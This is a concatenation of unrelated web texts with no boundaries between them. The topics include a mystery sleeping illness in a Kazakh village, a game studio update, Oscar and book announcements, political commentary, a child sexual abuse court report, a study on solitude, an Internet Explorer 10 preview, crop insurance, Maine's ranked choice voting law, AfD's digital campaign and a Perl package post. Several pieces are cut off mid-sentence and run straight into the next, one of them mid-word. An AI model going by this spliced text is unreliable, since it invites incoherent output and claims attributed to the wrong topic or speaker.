“I feel like from the minute we landed I was so excited and then it just went from one thing to the next … I was bursting out in tears instead,” she said.'We are witnessing a case of mass psychosis similar to 'Bin Laden Itch'. Picture: Zamzagul Adrakhmanova
A Siberian woman visiting relatives in Kazakhstan has become the latest victim of a strange epidemic that has spread through a remote village sending people to sleep.
Novosibirsk resident Aliya Kurukhtina, 59, had travelled to Kalachi to be with her family and celebrate New Year when she suddenly fell ill.
Having unexpectedly fallen asleep, and showing other symptoms of the mystery condition, she was taken to the local hospital on the evening of January 1. Doctors gave her a diagnosis of the brain disorder 'encephalopathy of unknown aetiology', but it is thought she is a victim of the unexplained illness that affecting the town.
Four other women were treated on the same evening for the same symptoms of the condition, which has so far puzzled scientists and doctors.
The hospital said that a week earlier several other people were admitted, including a 58-year-old bank clerk, a 52-year-old nurse and a nine-year-old schoolboy.
The development comes as the heads of neighbouring districts say they are prepared to help move villagers to new homes and jobs elsewhere.
'The condition was unlike any of the 85 known sleeping disorders'. Pictures: Zamzagul Adrakhmanova
According to Saule Agymbayeva, the deputy head of the Esil district, the priority is moving families with children, with as many as half the residents prepared to leave.
Villagers in Kalachi – which has been given the nickname Sleepy Hollow – say instances of the disorder are becoming more frequent, with as many as 70 people having been affected. Almost all of the victims have fallen asleep suddenly, some literally as they walked, and remembered nothing at the point of awakening.
Many of the village’s 582 residents have now suffered the condition several times and have even been unconscious for as long as five days at a time. Doctors have already ruled out viruses and bacterial infections, while scientists have been unable to find any chemicals in the soil or water that might be behind the epidemic.
However, suspicion has fallen on nearby former Soviet-era uranium mines that now lie abandoned. While official tests have shown that radiation levels in the village and the neighbouring ghost town of Krasnogorsk are the same as background levels, a TV documentary crew recently found radiation levels 16 times higher than normal.
The first reports of a problem in the area emerged in early 2010, but the number of incidents has been steadily rising over the past few years. Over the summer, 60 people were treated for signs of the condition, which leaves victims feeling dizzy, unable to stand, fatigued and with memory problems.
Deserted uranium mines near the village of Kalachi. Pictures: Zamzagul Adrakhmanova
Lubov Belkova, who lives in the village, is thought to have been the first victim and she has now suffered the symptoms seven times since April 2010. Her daughter, Natalya Mikhel, has been taken to hospital twice and her granddaughter, Diana, has been affected once.
A number of children have been also affected, with two of them - Rudolf Boyarinos and Mikhail Plyukin - suffering heavily hallucinated dreams, in which they saw their hands eaten by worms, dragons flying around their mother’s faces, and doctors with eight eyes.
On September 1 last year, eight children collapsed following their assembly at school. There have also been several cases of pregnant women falling asleep suddenly.
Doctors have been diagnosing the victims with encephalopathy, a disorder of the brain, of unclear origin. Scans have indicated that many of them have excessive fluid on their brains - known as oedema – leading to fears that there may be long-term consequences. Some local residents claim wind and smoke coming from the abandoned mines may be responsible for the illness. Others claim toxic waste has been buried in the area.
However, more than 7,000 different tests have shown no traces of heavy metal salts, viruses or bacteria.
'Almost all of the victims have fallen asleep suddenly, some literally as they walked'. Pictures: MIR TV
Kabdrashit Almagambetov, the chief doctor of the hospital, said he is not convinced the condition has been caused by radioactive poisoning. He said:'If it was gas poisoning, why then didn’t it affect other people that were next to the person that fell asleep? When we perform surgeries, we use a similar gas called xenon as anaesthetic, which produces a similar effect of a deep narcotic sleep.
'But then the patients regain consciousness at most one hour after we stop delivering medication, while here we have people sleeping for two, even six days'.
Somnology expert Mikhail Poluektov, an associate professor of nervous diseases at the Russian First Medical Institute, said the condition was unlike any of the 85 known sleeping disorders. He said: 'It doesn’t seem to be a toxic encephalopathy, as people affected by it don’t normally walk and speak, they just lie down and get deeper and deeper into sleep.
'In my opinion, it sounds more like it has psychogenic causes. Most likely, we are witnessing a case of mass psychosis similar to 'Bin Laden Itch', when hundreds of people in the United States found a rash on their skin because they were scared of an expected a bacteriological attack.
'It usually happens in closed communities'.December 31, 2018
Dear friends,We wish you a Merry (belated) Christmas and a Happy New Year! May you all be happy and healthy, and let peace and serenity be in your home.Another year has nearly gone. We remember it because of the release of the updated demo of «Love, Money, Rock-n-Roll» on Steam and mobile platforms, the Football World Cup in Russia, contests and quizzes in our VK community as well as your ongoing support that has been encouraging us to move on.Unfortunately, much like other people, we live in the real world and occasionally face the same challenges and issues as any of you. Of course, we could have done everything in a sloppy and sluggish way: for example, not to get ourselves preoccupied with game optimisation for Android – currently, to be frank, the game runs steadily only on upper-class smartphones. However, our audience that uses mobile devices is no smaller than the one utilising Steam, so the idea of finishing the PC version first is not valid. We could have rushed (and that is the key word here) and quickly complete the script and the entire visual part thus lowering the quality of the whole game dramatically. Well, that would have been a fantastic strategy for us, as everything looks good in the beginning, and one cannot get a refund after the game is already completed. :) In fact, each of us fancies the constant change of the release date no more than our fans, but what we would like even less is giving you something that would ruin your expectations – a pretentious, low-quality piece of junk.Unlike «Everlasting Summer», for which all the initial elements were intended to be present in the release version the way they were, «Love, Money, Rock-n-Roll» is something we are enhancing continuously. We keep returning to the chapters we have already made, re-creating the visual art, rewriting the script and re-recording the soundtracks. We do our best to make the game suit our standards of what a decent visual novel is and strive to meet your expectations.As we are approaching the end of the development process, the scenario is getting bigger and so is the amount of story-related art. We are not restricted anyhow in terms of timing, and, to be fair, everyone likes a director’s cut version. However, it does not mean that we are delaying the development on purpose – we are now talking about continuous refining and finishing touches rather than significant updates. There is a tradition to give a promise to oneself and the close ones – therefore, we promise that our game will be released in 2019!You can still support us by making a preorder with some nice bonuses hereLin-Manuel Miranda Will Perform Moana Song at the Academy Awards
He‘s hoping to add an Oscar to his Tonys, Emmy, Grammys, and Pulitzer.
Lin-Manuel Miranda will perform on the February 26 Academy Awards ceremony. The Tony-winning creator of Hamilton and In the Heights will perform his Oscar-nominated song “How Far I’ll Go” from the Disney animated film Moana, in a duet with the film’s star, Auli’i Cravalho. If Miranda wins, he will join the exclusive club of people who have won Emmy, Grammy, Oscar, and Tony Awards, and the even more rarefied group of people who have also won a Pulitzer Prize.
Miranda is competing for this year's Best Original Song Oscar with other hot Broadway songwriting talents Benj Pasek and Justin Paul (Dear Evan Hansen). They wrote lyrics to Justin Hurwitz’s music on two of this year’s Oscar-nominated songs, “City of Stars” and “Audition (The Fools Who Dream),” from the musical La La Land. They will be sung by Grammy winner and La La Land performer John Legend.
Seventeen-time Grammy winner Sting, who earned a Tony nomination for the score toThe Last Ship, will perform his nominated song “The Empty Chair” from the documentary Jim: The James Foley Story. Sting co-wrote the song with J. Ralph.
Read: LA LA LAND SCORES 14 OSCAR NOMINATIONS
The fifth nominee in the Best Original Song category is “Can’t Stop the Feeling” by Justin Timberlake, Max Martin, and Karl Johan Schuster, which was heard in the movie Trolls.
The Academy Awards will air live February 26 on ABC-TV.
LOVE HAMILTON? SHOP THE AVAILABLE MERCHANDISE AT THE PLAYBILL STORE.Haiku of the Living Dead
Brains, love, death and the apocalypse. The world will turn to the undead and the living have only two options: run or become a meal. But there is so much more to the zombie apocalypse. Like humor, poetry, existentialism and advice on how to live when it's become an Afterworld of sorts! This is a compilation of zombie haiku written by authors all over the world to leave you craving more. More
Zombies may be ravenous, frenzied killers…but this collection of Zombie haiku from around the world explores the poetic side of unlife-after-death. With poems contributed by bloggers, reddittors, tweeple and more, HAIKU OF THE LIVING DEAD explores themes of fear, death, survival, “turning,” feeding, post-Zombie society, undead love and more.
Edited by Rachel Lynn Brody and Miranda Doerfler, this collaborative anthology breathes new life into a traditional poetic form with humor, violence and fresh, new voices from around the internet.
A portion of proceeds from HAIKU OF THE LIVING DEAD will be donated to Doctors Without Borders/Médecins Sans Frontières.
Time is running out.Will Democrats Ruin President Obama?
toggle caption Jim Watson/AFP/Getty Images
It's pretty safe to say that it's nearly impossible to make the transition from some other political slot to the presidency without hitting some speed bumps. Recollection of the gaffes, the flameouts, the regrettable nominations, could make for a Georgetown drinking game. Zoe Baird and Kimba Wood. Linda Chavez. The delayed stock divestitures of Paul O'Neill. Karl Rove meeting with Intel lobbyists. Don't ask, don't tell. Bad decisions don't own any party affiliation.
And yet...
The Democrats have done an absolutely monumental job of screwing things up for President Obama.
Lately, some of the president's nominees have been falling like dominoes that have been finger-flicked by a playful IRS agent. Others have just teetered.
Having to step aside because of tax problems and ongoing influence-peddling scandals makes the Democrats look at best ignorant, at worst crooked. Their moral blind spots are so sizable they make the corporate CEOs who fly private jets to get their bailout money seem principled by comparison. If John McCain's woeful vetting of Sarah Palin wasn't still fresh in the public's memory, the SS Obama might well be sunk.
More troubling is the Democrats' pitiful mishandling of every single aspect of the stimulus bill. House Democrats have filled it with untimely spending. And they have allowed its legend to grow to ill and mythical proportions: lies about funding for ACORN, which is nowhere mentioned in the bill. Gross and unanswered misrepresentations by McCain about the "honey bee insurance" provision.
But the Republicans, on page and unwavering as always, have managed to take control of the public debate -- though the media's fascination with Rush Limbaugh's take on the bill is mind-boggling. At the same time, the Republicans have surreptitiously slipped in their own pork, such as the $6.5 billion they're allocating for Sen. Arlen Specter's much-beloved National Institutes of Health (and this creates jobs... how?).
The Democrats have stood idle as Republicans initiated a false-flag campaign, pitting the unpopular Nancy Pelosi against the disliked Rahm Emanuel, while every step of the way artfully praising Obama and openly lamenting: if only more Democrats could be like him.
Never mind who's trying to throw whom under the bus. The fact that the president had to step to Pelosi and ask her to discard additional spending for family planning after she'd been allowed to babble on about its job-creating benefits on national TV speaks to a lack of coordination and a gross misreading of the public's mood.
Giving the new president the benefit of the doubt, clearly he thought the Democrats would make responsible use of their advantage in Congress.
If the liberal wing knew what responsibility was, perhaps. He will be better served by the Democratic moderates and Blue Dogs who take to heart his message of bipartisanship and understand the need for fiscal austerity.
But Obama unfortunately runs the risk of ending up like Jimmy Carter should he alienate the far left. When Carter tried to cut social programs in an attempt to lift America out of an economic crisis, he was abandoned by the far-left elements of the Kennedy Democrats and allowed to twist in the wind friendlessly.
Trouble with liberal Democrats? Why am I not surprised?Advertisement
A Fouke, Ark., woman who molested a 10-year-old relative of her husband’s, received a seven-year probation Tuesday in Miller County.
Sarah Walker, 29, must register as a sex offender and submit her DNA for inclusion in Arkansas’ database of felony offenders. Walker was fined $2,500 as well.
According to a probable cause affidavit, Walker first molested the boy when he was 10 in 2008 and again in 2013, when he was 15. The boy told investigators he was sexually assaulted by Michael Walker, Sarah Walker’s husband, when he was a 5-year-old.
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The boy alleges he was at a family gathering when he was allowed into a bedroom where Walker and several other men were watching a pornographic video. The boy allegedly claims Walker wouldn’t allow him to leave the room and forced him to have oral and anal sex.
The boy is not the only child Michael Walker is accused of abusing. A 3-year-old girl made an outcry of sexual abuse against Walker last year. The girl told authorities Michael Walker made her bleed by putting a “stick” inside her which the girl’s mother allegedly said she believes was a “strap on” sexual aid she knew he possessed.
A 19-year-old who told staff at the Children’s Advocacy Center in Texarkana that Walker began sexually assaulting her when she was approximately 9 years old is among the victims listed in Michael Walker’s charges. The teen told investigators Michael Walker threatened to harm her father if she told and that the abuse continued until she was about 15.
The oldest of Michael Walker’s alleged victims claims he once used duct tape on her hands and mouth during an assault. The girl said she began to feel as if sexual abuse was just a part of life’s routine and began to possess the belief that, “this must be the way life is,” and that she contemplated ending her own life because of it.
Michael Walker is facing three counts of rape, each of which is punishable by 25 to 40 years or life in prison; a single count of second degree sexual assault, which is punishable by five to ten years in prison and a fine up to $15,000; and a single count of sexual indecency with a child which is punishable by up to six years in prison and a fine up to $10,000.
Michael Walker is currently being held in the Miller County jail. His bail is set at $500,000 and his trial is scheduled to begin in June.If you could have dinner alone with any person in the world, it would probably not be yourself. In fact, people will do almost anything to avoid spending even a few minutes listening to their own inner monologues.
That's what social psychology researchers discovered during a series of experiments focused on understanding how well we put up with our own thoughts once the usual distractions are stripped away.
“We originally started investigating the topic because the question of whether or not we are able to deliberately keep ourselves entertained with only our thoughts seemed like a basic, fundamental question that hadn't received a lot of attention,” study co-author David Reinhard, a doctoral student at the University of Virginia, told Healthline.
Get the Facts About Meditation »
Me-Time Is Not All It’s Cracked Up to Be
Previous research has shown that people tend to be happier when they are focused on the task at hand—such as reading a book, having sex, or studying—rather than letting their minds wander at the same time.
But what happens when you take away those external activities, leaving only the wandering mind? According to the researchers, whose work was published this week in Science, we get very uncomfortable very quickly.
In six experiments in the laboratory, researchers asked more than 400 college students to sit alone in a room without their usual worldly distractions, instructing them to entertain themselves with only their thoughts as best as they could.
After spending only six to fifteen minutes alone with their thoughts, many students admitted that the experience was not enjoyable. They also reported that they had difficulty concentrating and that their minds tended to wander.
And it gets worse. In a similar experiment, 42 people were given the option of sitting quietly for fifteen minutes with no distractions or giving themselves an electric shock. More than two-thirds of the men, and one quarter of the women, chose shocks over quality me-time. And these were people who told researchers beforehand that they would be willing to pay to avoid the shocks.
The Best Meditation Apps of the Year »
Researchers Try to Help People Enjoy Being Alone
Rather than leave it at that, the researchers conducted several more experiments to identify possible ways to help people learn to get along with their restless minds.
“We tried a lot of different kinds of interventions…to try to help people enjoy it,” said Reinhard, “but surprisingly none of those seemed to increase people's enjoyment.”
This included letting participants do the experiment at home. Even in a familiar environment, the students enjoyed it less and found it harder to concentrate, compared to the results in the lab. Thirty-two percent admitted that they cheated by doing something else at the same time—such as listening to music or using their cell phone—or getting out of their chair.
The researchers also directed the students’ wayward thoughts by giving them something play with.
“We tried a variety of different instructions,” said Reinhard, “giving various topics that people said would be enjoyable to think about (such as being on vacation, having superpowers); suggestions for how they should try to control (or not control) their thoughts; as well as giving them an object to fiddle with."
While people preferred having an external activity over being alone with their thoughts, deciding what to think about ahead of time didn’t make the experience more enjoyable.
How to Get and Keep Your Brain on Task »
Has Technology Ruined Alone Time?
Technology is often blamed for our restlessness and inability to sit still, but this could be a two-way street.
“It's hard to say what is causing what,” said Reinhard, “but it's possible that our obsession with technology could be a consequence and a symptom.”
We may gravitate toward smartphones, television, and the Internet to avoid the awkwardness of being alone with our thoughts. On the other hand, spending so much time shooting at angry birds and texting our friends could depr |
had run out of time and energy to continue pushing for better treatment. And given how defensive the medical director was, I felt conscious of not wanting to upset her — which speaks volumes about the power imbalance that is inherently present between patients and physicians.
The long-awaited day of my egg retrieval finally arrived. I was handed a stack of forms to sign. When my eyes reached the bottom of the page, I was only able to see two words: “female patient.” I looked at my nurse. “Why am I the ‘female patient’?” “We do have updated forms, but these are our old forms,” she replied. I had a long day ahead of me, so I just put my head down and signed.
Caroline and I headed to the exam room. The actual egg retrieval procedure was the most painful experience of my entire life, both physically and emotionally. My wife was so distraught at the excruciating pain that I was clearly in that she cried and yelled at the doctor to do anything to help me.
Finally, it was over.
What isn’t over is the psychological pain from my memories of being treated like a disease that one might catch, and my fear of this happening every time I see a new doctor. After months of false hope and empty promises that the clinic would do better, it is clear to me that the staff did not understand what patient-centered care looks like, let alone what it might look like for trans patients. They were only prepared to deal with one type of patient, and if you fall outside of that, you are made to feel like a burden. Over the years, I have dealt with my share of ignorant medical teams, yet every time it happens, it is absolutely astonishing.
Positive-space posters don’t make a space positive if the attitudes and beliefs don’t align. I am grateful that I was in a position where I was able to advocate for myself and file numerous complaints. I also provided the clinic staff with practical resources and recommendations to improve their care, so that they can become more in line with their trans-inclusive policies. It is my only hope that the staff learned from this experience so that no other couple has to go through what we went through.
In the end, although this experience was certainly traumatizing, we have no regrets. Caroline is pregnant, and we look forward to putting this behind us and starting our family.
DR. ALEX ABRAMOVICH is a researcher at the Centre for Addiction and Mental Health in Toronto. Alex has been addressing the issue of LGBTQ2S youth homelessness for the past 10 years. He is interested in youth culture, homelessness and health care, community engagement, and film-based methods. For more information, please visit ilona6.com.A semi-control U/W deck based around the power of Paradoxical Outcome.
The goal of this deck is to create as many 1/1 Thopters as possible, by using Efficient Construction with the many 0-drop artifacts in this standard - Namely Ornithopter, Bone Saw, and Cathar's Shield. Mechanized Production serves as our win-con, with Paradoxical Outcome helping us produce even more thopters.
Aetherflux Reservoir acts as an alternative wincon, due to Lost Legacy becoming a popular sideboard card that could remove each copy we have of Mechanized Production, and requires pretty much the same cards to use.Metallic Rebuke, and Reverse Engineer all play very nicely with our 0-drops. Inventors' Fair acts as a nice buffer to find Aetherflux Reservoir if the need be!
Our sideboard consists of various counterspells and removal, in order to deal with whichever particular threats our opponent may have.Microsoft has released a new Internet Explorer 10 preview, the second pre-release of Internet Explorer 10 designed to give developers access to the new technologies that Internet Explorer 10 will deliver. The new version includes support for a bunch of new specifications, enabling better support for drag and drop, form validation, positioning of page elements, and more. As with prior preview releases, Microsoft has also provided a number of demo sites to show off new capabilities, and new test cases to demonstrate exact conformance with the HTML5 specifications.
This update comes 11 weeks after the first preview release, making it a little ahead of schedule; Internet Explorer 9 previews came out roughly every eight weeks, but for Internet Explorer 10, Microsoft is aiming at one every three months.
Probably the most significant inclusion for Web developers is support for the Web Worker API. Conventionally, browser JavaScript has been strictly single-threaded, with no facility to perform computations in the background or use multicore processors. Web Workers change this, by allowing multiple scripts to execute simultaneously, opening the door to pages that are both more responsive and contain more complex scripting than is possible without Web Workers.
Throughout the development of both Internet Explorer 9 and Internet Explorer 10, Microsoft has shied away from implementation specifications that are still in flux or undergoing extensive modification, sticking instead to those that are reasonably stable and thoroughly debugged. The company's intent has been to ensure that those features it implements won't be a maintenance liability for developers—that the features can be used and deployed onto real sites, without requiring extensive busy-work to track specification changes.
Internet Explorer 9's previews did diverge from the goal slightly, with the introduction of performance tracking mechanisms that Microsoft implemented not long after their specification was first proposed. With Internet Explorer 10, the company is doing a similar thing on a slightly larger scale, with a feature named Positioned Floats. Developed in conjunction with Adobe, Positioned Floats enable powerful page layouts not readily attainable with current CSS. The new design capabilities afforded by Positioned Floats should excite developers, but they can't become standardized unless other browsers also implement them. Hopefully, others will follow Microsoft's lead.
Preview 2 also includes support for the new Web File API, which gives browsers controlled, restricted access to the local file system. The company has been experimenting with this since early May, when it shipped a prototype implementation as part of its HTML5 Labs project. This is the first time that a technology has gone from HTML5 Labs into Internet Explorer proper. Though the prototypes are much less widely-used than the platform previews (which typically weigh in at about a million downloads), Microsoft says that the experience it gained developing the prototypes gave valuable insight into the way the API should work.
The breadth of new features added to Preview 2 give Microsoft's browser a substantial boost on the HTML5 Test site, scoring 231 points, compared to Preview 1's 125, and Internet Explorer 9's 141 (yes, the older browser scores better, for some reason). Though the selection of features tested on that site is quite arbitrary—98 points are available for new HTML5 form capabilities, but just 15 for the far more significant Web Workers feature, for example—and the testing isn't very thorough (for the most part, it doesn't test that features actually work correctly), this still represents a healthy boost, and shows that Internet Explorer 10 is making great progress in implementing these new features, just as its predecessor has done. Internet Explorer still lags the competition a little (Firefox 5 scores 296, Chrome 12 gets 327), but the gap is certainly closing.
The new version scores very highly in a new JavaScript test suite called test262. Still under active development, test262 contains more than 10,000 tests, with a goal of fully covering the entire ECMAScript specification—better known as JavaScript—to prove that implementations conform with the entire language. Platform Preview 2 currently scores 10862 out of 10865. Firefox 5, by way of comparison, passes only 10660 tests. Microsoft regards the performance in this kind of thorough test as being rather more important than the performance in scattershot suites such as HTML5 Test and Acid3. A pass in HTML5 Test or Acid3 doesn't necessarily indicate that a feature has been fully and robustly implemented, nor that it has been implemented exactly as the specification says. To do that requires detailed conformance tests. Though these are much harder to produce than the smaller tests, and, especially when compared with Acid3, are much less visually appealing, they give a much better indication of whether a feature really has been implemented properly.
Internet Explorer 10 shows that Microsoft is continuing to invest heavily in bringing Internet Explorer up to the same standard as its competition—and sometimes even beyond. There are a few more big ticket items that would make developers happy—Web Sockets, currently still a Labs prototype, is particularly desirable—but those seem well within reach. Microsoft isn't willing to talk about release dates at present, though is widely expected to ship Internet Explorer 10 some time around next March. With the way the browser is shaping up so far, it should be a very strong contender indeed.The way farmers use crop insurance has fundamentally changed — and that’s been costly for taxpayers.
Instead of buying insurance policies that exclusively protect their crop’s yields from disastrous weather, federal data shows that the majority of farmers are purchasing revenue-based plans that also guard incomes when crops are hit by dismal market prices.
The change has helped push the crop insurance program’s price tag from about $3 billion per year to more than $8 billion.
See related: "Volatile market leads to lower crop insurance premiums for farmers"
“The story used to be that this was a program to manage weather risk farmers could not control,” said Ohio State University professor Carl Zulauf. “It was a very short, a very concise, a very simple story, but over the years crop insurance has moved away from that.”
The U.S. Department of Agriculture’s Risk Management Agency now administers more than a dozen different types of government-subsidized insurance policies, and farmers can pick plans based on individual or county production history.
Overall, insurance policies exist for more than 100 crops.
Revenue-protection policies that jointly insure yields and revenue have rapidly grown in popularity, according to data.
In 2011, about half of all crop insurance policies sold were for revenue-protection plans.
By 2015, more than two-thirds of the 2.24 million policies sold were for revenue-protection.
“The program has become increasingly complex over time,” Zulauf said. “It’s clear that it’s not just yield anymore that you’re insuring.”
Low prices hurting farm income
In the United States, corn and soybeans are the top commodities and the most heavily insured crops.
Consecutive growing seasons with record harvests have created a huge grain surplus and slashed the price of both.
After peaking at more than $8 per bushel in drought-stricken 2012, the price of corn has fallen to less than $4 per bushel. Soybeans have experienced similar but not as dramatic price declines, as well.
Although production has thrived, farmers’ incomes have plummeted and triggered major crop insurance payouts.
“When production is fine, it leads to lower prices,” said Doug Yoder, crop agency manager for Country Financial. “And that’s what we’re seeing right now.”
Revenue-protection crop insurance policies paid out $14.5 billion the past two years combined.
That accounted for the bulk of all insurance payouts.
Agriculture officials say that revenue-based insurance policies are essential to modern agriculture because farmers have little control over what their product ultimately sells for, and that leaves them uniquely vulnerable to price drops compared to other jobs. Farmers can just as easily go out of business from bad prices as bad weather, but revenue-protection plans provide stability, they say.
“For taxpayers, if you want to have a readily available and affordable food supply, if you want to preserve rural economies, then I think it’s important to protect these revenue-based insurance policies,” said Sam Willett, a senior director of public policy for the National Corn Growers Association.
Recent USDA estimates predict that 2016 will likely see the lowest farm income since 2002, which could mean another year of large insurance payouts.
“We’re probably going to have average to above average yields this year,” Yoder said. “But we still anticipate farmers having significant losses.”
Photo by Darrell Hoemann/Midwest Center for Investigative Reporting
“The program has become increasingly complex over time... It’s clear that it’s not just yield anymore that you’re insuring.” - Carl Zulauf
Critics call for cuts amid rising costs
Despite its established role as a key risk management tool for farmers, critics continue to argue that the multibillion dollar crop insurance program has grown far too costly.
“The cost of the program has expanded for a number of reasons,” Zulauf said. “You have increased participation, the number of acres in the program has increased, coverage levels have increased and the number of crops being covered has increased.”
“Crop insurance is now a large expenditure item,” he said.
While farmers pay expensive out-of-pocket premiums, more than 60 percent of that cost is subsidized by the federal government, though crop-insurance supporters point out that farmers do not directly receive any funds.
Subsidies did not consistently exceed $1 billion until after 2000.
In 2015, they totaled $6.1 billion, according to data.
Government subsidies going to pay for revenue-protection policies accounted for more than three-quarters of that amount.
“Does the public really want to insure something other than yield?” Zulauf asked. “That’s the underlying question here, and I think that we really haven’t discussed it in a full-blown sense.”
The federal government also covers administrative expenses for the group of companies authorized to sell crop insurance.
A White House budget proposal released in February recommended slashing subsidies by $18 billion over the next 10 years, but so far policymakers have rejected proposed cuts.
“The price tag of crop insurance is now probably the largest single expenditure related to agriculture, even though funding for other ag programs has dissipated and gone away,” Yoder said. “Crop insurance is the largest remaining pot of money that goes to agriculture.”AUGUSTA, Maine (NEWS CENTER) — The Maine Supreme Court may be asked to decide if the new ranked choice voting law — passed by voters — violates the Maine Constitution.
The president of the Senate says he plans to bring an order up for a vote in the next few days, which would ask the court for an opinion.
The ranked choice voting law was put on the ballot by a petition drive, and won the support of 52 percent of voters in November, but questions have been raised by the attorney general and some lawmakers whether the law is indeed constitutional.
The major issue is that the Maine Constitution says candidates need a plurality of votes to win, meaning more than anyone else. But the ranked choice law says a candidate needs to get a majority, which is more than 50 percent.
Kyle Bailey, the leader of the referendum campaign, told NEWS CENTER that legislators are really trying to find a way to block the law and eventually repeal it. Sen. Thibodeau argues that the constitutionality issue is serious and needs to be answered.
Thibodeau says the attorney general is helping write the order requesting the court declare a “solemn occasion” and provide an opinion. He says the Senate will vote on that order next week, if not sooner.
The Supreme Court would then decide whether to consider the request. If justices were to say the law is unconstitutional, the Legislature would need to either change the wording of the law or change the state constitution. But if the court were to decline to give an opinion, the law would remain as is and would be in place for the 2018 elections.
Thibodeau said in that case, there would likely be lawsuits by losing candidates challenging the constitutionality of ranked choice. Kyle Bailey said judges in other states have ruled ranked choice voting is constitutional, and said he was confident the law will stand in Maine, too.
Copyright 2016 WCSHFor several days now, many Facebook and Twitter users in Germany have been confronted with a disturbing image on their profile pages: It shows bloody tire tracks running across the screen, reminiscent of the ones left by Islamic State terrorists in several European cities. It is accompanied by the slogan: "The tracks left by the world chancellor in Europe."
Angela Merkel as a terrorist -- that's the motif that the Alternative for Germany (AfD) party has chosen to launch the internet portion of its campaign leading up to national parliamentary elections on Sept. 24. The right-wing populists plan to spend a large part of their 3-million-euro budget on similar publicity offenses. The party is planning a digital campaign that may well be more drastic and aggressive than anything German voters have ever seen.
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The party's election posters, designed by advertising professional and prize-winning scandal author Thor Kunkel, have already stood out from those of other parties. One shows the belly of a pregnant white woman with the slogan, "New Germans? We'll make them ourselves," a reference to the party's rejection of immigrants in the country. Yet another shows a piglet with the words: "Islam? It doesn't fit in with our cuisine." Finally, the one getting perhaps the most attention states, "Burkas? We prefer bikinis."
But now the AfD, which has always been an internet-savvy party that likes to use the medium to bypass the mainstream media and communicate its messages directly to its fans, has had enough of dead-tree media. It intends to rely heavily on the web as it enters the last, intense phase of the campaign.
Provocative and Aggressive
To assist in its efforts, the party has tapped Kunkel's contacts to engage the services of advertising professionals in the United States with experience on the right-wing spectrum. The party is working together with the Texas-based agency Harris Media, which recently presented its plans to the AfD's national committee. With its provocative and aggressive campaigns, the agency has already contributed to the success of a number of controversial politicians. In Britain, it worked with the anti-EU UKIP party; in Israel, it worked with the governing Likud party; and in the United States, news agency Bloomberg has dubbed company founder Vincent Harris "the man who invented the Republican internet."
Harris Media Vincent Harris: "the man who invented the Republican internet."
Harris, a Christian conservative, married and still under 30, recently made a personal visit to AfD headquarters in Berlin to monitor progress on the German project, party officials report. Harris founded his agency in 2008 in his college dorm room. A short time later, he led the online arm of the campaign for Ted Cruz, at the time a relatively unknown Republican from Texas who hoped to ride Tea Party backing to a seat in the Senate.
With Harris' help, Cruz saw the number of his internet supporters skyrocket, he established contact with influential bloggers and ultimately won the election. The Republicans have become regular customers of Harris' ever since. Trump's team even engaged the agency for projects, with Vincent Harris telling Trump's favorite media site, Breitbart, "we're going to hopefully keep doing stuff for them in the future."
One Harris project aimed at Trump fans can still be found on the web today. It's a polemical "commercial" that shows the Germany of the future as an Islamized state, with Cologne's cathedral depicted as a mosque and an Oktoberfest where neither alcohol nor pork are served. At the time, Harris told the Berliner Morgenpost newspaper that Islamist extremism was an important issue. Besides, "I love Germany," he told the paper.
AP This AfD ad reads: "New Germans? We'll make them ourselves."
These days, three of his employees march into the AfD offices in Berlin at 8 a.m. each morning, coffee-to-go cups in hand, and play grunge music for the staff and summon "priority meetings." Above all, though, the advertising professionals make clear to their German clients that far from all Americans are fans of political correctness. One Harris staffer is reported to have asked an AfD politician why the party isn't campaigning with "Germany for Germans" as its slogan? It put the AfD staffer in an awkward position. Germany for the Germans? No, he said, that's a nationalistic slogan that even the AfD would prefer not to use.
The AfD also brought in a party staff member from Düsseldorf to explain Germany's very strict internet privacy laws to the Americans. But the party has remained mum about how strictly those rules will be observed.
Help from an Influential Friend
To place advertisements on Google or Facebook, AfD now no longer has to go through the German subsidiaries of the internet giants. Here in Germany, the party has recently been facing a lot of resistance from those offices when it tries to buy ads. Now the team at Harris Media just places quick calls to the companies' headquarters in Silicon Valley, sources say, where the agency is very well networked as a result of its many successful political campaigns for the Republicans. AfD's orders are then simply put through to Germany from the United States.
And when it comes to advertising, staff at the American company think in entirely different dimensions than their AfD colleagues, who in the past were happy if their populist Facebook posts collected over 1,000 reactions. Now, with Harris' help, the image with the bloody tire marks has reached a massive number of users, AfD representatives say proudly -- including potential voters.
One of the most important goals of the AfD's digital campaign is to make people less shy about identifying with the right-wing populist party. As part of that effort, the party has invited its fans to make solidarity videos and is encouraging them to frame their profile photos with AfD symbols. In the coming days, many Facebook users in Germany will also be seeing a new, small blue ad on their timelines. "Twelve years are enough," it will say, with a photo of Angela Merkel with a grumpy look on her face. To prevent putting off users, the party will not include its logo. It's only after the user clicks on the ad that it is revealed it has been placed by Alternative for Germany.The Operational Environment and the Changing Character of Future Warfare
The Operational Environment and the Changing Character of Future Warfare
The U.S. military, and therefore, the U.S. Army, finds itself at a historical inflection point, where disparate, yet related elements of the Operational Environment (OE) are converging, creating a situation where fast moving trends across the Diplomatic, Information, Military, and Economic (DIME) spheres are rapidly transforming the nature of all aspects of society and human life – including the character of warfare.
In The Operational Environment and the Changing Character of Future Warfare, the first part of this paper describes how technology will impact how we live, create, think and prosper. The authors use this description to make an assessment on the OE and its implication on the future of warfare through 2050, which in their view is a continuum divided into two distinct timeframes:
- The Era of Accelerated Human Progress, 2017-2035, which relates to a period where our adversaries can take advantage of new technologies, new doctrine and revised strategic concepts to effectively challenge U.S. military forces across multiple domains.
- The Era of Contested Equality, 2035-2050, which is marked by significant breakthroughs in technology and convergences in terms of capabilities leading to significant changes in the character of warfare. During this period, traditional aspects of warfare undergo dramatic, almost revolutionary changes which at the end of this timeframe may even challenge the very nature of warfare itself.
As a data-centric organization, U.S. Army Training and Doctrine Command (TRADOC) G-2 continuously examines and develops new methods to understand, visualize, describe, deliver and assess the conditions of the operational environment. TRADOC G-2 would appreciate your feedback on this paper, which can be found under Deep Futures Assessment on the TRADOC Mad Scientist web page at http://www.tradoc.army.mil/watch/.
Please visit APAN SURVEY SITE and share your thoughts with us.
The views and opinions expressed in this paper are those of the authors, and do not necessarily reflect the official policy or position of the U.S. Army, TRADOC, or any other agency or entity within the U.S. Government.Strawberry Perl is great but for my recent Advanced Perl training class I needed a package that included the latest version of Padre, the Perl editor with the oversize ego and a number of other modules. Eg. Try::Tiny, Moose and Dancer.
So first I zipped all the files in the c:\Strawberry directory of my own Windows machine and posted about it: Padre 0.84 on Strawberry Perl 5.12.3 released. Then, based on the response of Curtis Jewell I further improved the package and now, with help from Mark Dootson, I managed to build a self installing package that already configures itself.
Yippee!!
